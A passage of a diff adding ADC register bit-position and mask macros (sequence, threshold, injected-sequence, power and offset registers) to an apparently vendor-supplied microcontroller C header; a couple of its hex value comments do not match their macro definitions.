ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << 